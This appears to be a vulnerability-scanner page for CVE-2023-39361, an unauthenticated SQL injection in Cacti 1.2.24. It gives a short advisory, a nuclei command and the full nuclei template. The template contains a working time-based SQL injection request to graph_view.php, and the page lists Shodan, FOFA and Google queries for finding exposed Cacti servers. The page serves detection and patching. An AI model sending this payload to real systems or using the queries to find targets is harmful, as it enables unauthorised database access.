Cacti 1.2.24 - SQL Injection

criticalseverity

9.8CVSS score

88.8%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Cacti is an open source operational monitoring and fault management framework. Affected versions are subject to a SQL injection discovered in graph_view.php. Since guest users can access graph_view.php without authentication by default, if guest users are being utilized in an enabled state, there could be the potential for significant damage. Attackers may exploit this vulnerability, and there may be possibilities for actions such as the usurpation of administrative privileges or remote code execution. This issue has been addressed in version 1.2.25. Users are advised to upgrade. There are no known workarounds for this vulnerability.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.

Fix

Apply the latest security patches and updates from the vendor to address this vulnerability.

How to confirm it

Send: @timeout: 20s
Positive when: duration>=10 and status_code == 200 and contains_all(body, "Tree Mode", "cacti")

Run it with nuclei: nuclei -id CVE-2023-39361 -u <target>

The full check

id: CVE-2023-39361

info:
  name: Cacti 1.2.24 - SQL Injection
  author: ritikchaddha
  severity: critical
  description: |
    Cacti is an open source operational monitoring and fault management framework. Affected versions are subject to a SQL injection discovered in graph_view.php. Since guest users can access graph_view.php without authentication by default, if guest users are being utilized in an enabled state, there could be the potential for significant damage. Attackers may exploit this vulnerability, and there may be possibilities for actions such as the usurpation of administrative privileges or remote code execution. This issue has been addressed in version 1.2.25. Users are advised to upgrade. There are no known workarounds for this vulnerability.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
  reference:
    - https://github.com/Cacti/cacti/security/advisories/GHSA-6r43-q2fw-5wrg
    - https://nvd.nist.gov/vuln/detail/CVE-2023-39361
    - https://lists.fedoraproject.org/archives/list/[email protected]/message/CFH3J2WVBKY4ZJNMARVOWJQK6PSLPHFH/
    - https://lists.fedoraproject.org/archives/list/[email protected]/message/WZGB2UXJEUYWWA6IWVFQ3ZTP22FIHMGN/
    - https://lists.fedoraproject.org/archives/list/[email protected]/message/WOQFYGLZBAWT4AWNMO7DU73QXWPXTCKH/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-39361
    cwe-id: CWE-89
    epss-score: 0.88793
    epss-percentile: 0.99777
    cpe: cpe:2.3:a:cacti:cacti:1.2.24:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: cacti
    product: cacti
    shodan-query:
      - title:"Login to Cacti"
      - http.title:"login to cacti"
      - http.title:"cacti"
      - http.favicon.hash:"-1797138069"
    fofa-query:
      - icon_hash="-1797138069"
      - title="cacti"
      - title="login to cacti"
    google-query:
      - intitle:"cacti"
      - intitle:"login to cacti"
  tags: time-based-sqli,cve2023,cve,cacti,sqli,vuln,vkev

http:
  - raw:
      - |
        @timeout: 20s
        GET /graph_view.php?action=tree_content&node=1-1-tree_anchor&rfilter=%22or+%22%22%3D%22%28%28%22%29%29%3BSELECT+SLEEP%2810%29%3B--+- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=10'
          - 'status_code == 200'
          - 'contains_all(body, "Tree Mode", "cacti")'
        condition: and

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